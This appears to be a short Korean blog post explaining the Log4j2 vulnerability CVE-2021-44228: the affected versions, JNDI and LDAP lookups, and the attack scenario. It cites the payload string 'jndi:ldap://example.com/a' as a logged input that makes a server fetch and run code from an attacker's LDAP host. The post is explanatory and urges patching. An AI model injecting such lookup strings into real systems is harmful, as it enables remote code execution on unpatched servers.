Skip to main content

Log4j2 취약점(CVE-2021-44228)

· 4 min read

Log4j2 취약점이란?

CVE-2021-44228은 2021년에 발견된, 널리 사용되는 자바 기반의 loggin 패키지인 Log4j의 취약점이다. 이는 공격자가 원격 서버에서 코드를 실행하는(Remote Code Execution, RCE) 공격을 허용하기 때문에 심각한 위협이 된다. 해당 취약점은 Log4j 버전 2(2.0-beta-9부터 2.14.1)에 존재하며, 2.15.0 버전에서 패치되었다.

JNDI와 LDAP

Log4j 패키지는 2013년에 v2.0-beta-9에서 "JNDILookup plugin"을 추가하였다. JNDI는 Java Naming and Directory Interface의 약어로, Java 프로그램이 디렉토리에 위치하는 데이터에와 자원에 접근하기 위한 인터페이스이다. Java 프로그램은 JNDI와 LDAP(Lightweight Directory Access Protocol)을 사용하여 LDAP 서버에 접근, LDAP 서버에서 객체를 로드할 수 있는데, localhost(해당 Java 프로그램이 실행되는 머신)의 LDAP 서버 말고도 LDAP URL을 사용하여 인터넷에 연결된 임의의 머신에서 실행되는 LDAP 서버를 지정할 수 있다. 즉, 공격자가 특정 Java 프로그램의 LDAP URL을 수정할 수 있는 권한을 얻게 된다면 해당 프로그램이 실행되면서 공격자가 원하는 서버에 위치한 객체를 로드할 수 있다는 것이다.

공격 시나리오

공격자가 Log4j를 통해 jndi:ldap://example.com/a 같은 형태의 문자열을 출력할 경우, Log4j는 example.com의 LDAP서버에 접근하여 객체를 반환하게 된다. 이는 Log4j가 prefix:name 형태의 특수 구문을 지원하여 여러가지 Lookup을 지원하기 때문인데, key가 ":"을 포함할 경우 기본 prefix인 "java:comp/env/"가 붙지 않고 LDAP 서버에 쿼리가 발생한다. 따라서 공격자는 log가 발생하는 input을 찾아내어 jndi:ldap://example.com/a 형식의 log가 발생하도록 하면 자신이 원하는 LDAP 서버에 위치한 코드를 실행할 수 있다. 이는 Java 기반의 인터넷과 직접 상호작용(Internet facing)하는 소프트웨어의 일반적인 공격 시나리오이며, 인터넷과 직접 상호작용하지 않는 Java 기반의 소프트웨어도 시스템 간 데이터 전송을 통해 공격 대상이 될 수 있다. 따라서, Log4j를 사용하는 모든 Java 기반 시스템은 반드시 업데이트가 요구되는 상황이다.

출처